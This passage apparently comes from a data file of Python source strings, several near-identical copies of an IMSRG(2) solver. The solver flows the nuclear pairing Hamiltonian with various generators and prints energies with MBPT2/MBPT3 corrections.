'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\nif __name__ == '__main__':\n main()\n",
"<import token>\n\n\ndef construct_basis_2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\ndef construct_index_2B(bas2B):\n index = {}\n for i, state in enumerate(bas2B):\n index[state] = i\n return index\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\ndef commutator(a, b):\n return dot(a, b) - dot(b, a)\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\ndef construct_occupationA_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n dim1B = user_data['dim1B']\n dim2B = dim1B * dim1B\n holes = user_data['holes']\n particles = user_data['particles']\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occA_2B = user_data['occA_2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n calc_eta = user_data['calc_eta']\n calc_rhs = user_data['calc_rhs']\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n user_data['dE'] = dE\n user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(\n eta2B, ord='fro')\n return dy\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\ndef normal_order(H1B, H2B, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n particles = user_data['particles']\n holes = user_data['holes']\n E = 0.0\n for i in holes:\n E += H1B[i, i]\n for i in holes:\n for j in holes:\n E += 0.5 * H2B[idx2B[i, j], idx2B[i, j]]\n f = H1B\n for i in bas1B:\n for j in bas1B:\n for h in holes:\n f[i, j] += H2B[idx2B[i, h], idx2B[j, h]]\n Gamma = H2B\n return E, f, Gamma\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\ndef calc_mbpt3(f, Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n DE3pp = 0.0\n DE3hh = 0.0\n DE3ph = 0.0\n for a in particles:\n for b in particles:\n for c in particles:\n for d in particles:\n for i in holes:\n for j in holes:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[i, i] + f[j, j] - f[c, c] - f[d, d])\n me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[c, d]] * Gamma[idx2B[c,\n d], idx2B[i, j]]\n DE3pp += 0.125 * me / denom\n for i in holes:\n for j in holes:\n for k in holes:\n for l in holes:\n for a in particles:\n for b in particles:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[k, k] + f[l, l] - f[a, a] - f[b, b])\n me = Gamma[idx2B[a, b], idx2B[k, l]] * Gamma[\n idx2B[k, l], idx2B[i, j]] * Gamma[idx2B[i,\n j], idx2B[a, b]]\n DE3hh += 0.125 * me / denom\n for i in holes:\n for j in holes:\n for k in holes:\n for a in particles:\n for b in particles:\n for c in particles:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[k, k] + f[j, j] - f[a, a] - f[c, c])\n me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[k, b], idx2B[i, c]] * Gamma[idx2B[a,\n c], idx2B[k, j]]\n DE3ph -= me / denom\n return DE3pp + DE3hh + DE3ph\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\nif __name__ == '__main__':\n main()\n",
"<import token>\n\n\ndef construct_basis_2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\ndef construct_index_2B(bas2B):\n index = {}\n for i, state in enumerate(bas2B):\n index[state] = i\n return index\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\ndef commutator(a, b):\n return dot(a, b) - dot(b, a)\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\ndef construct_occupationA_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * 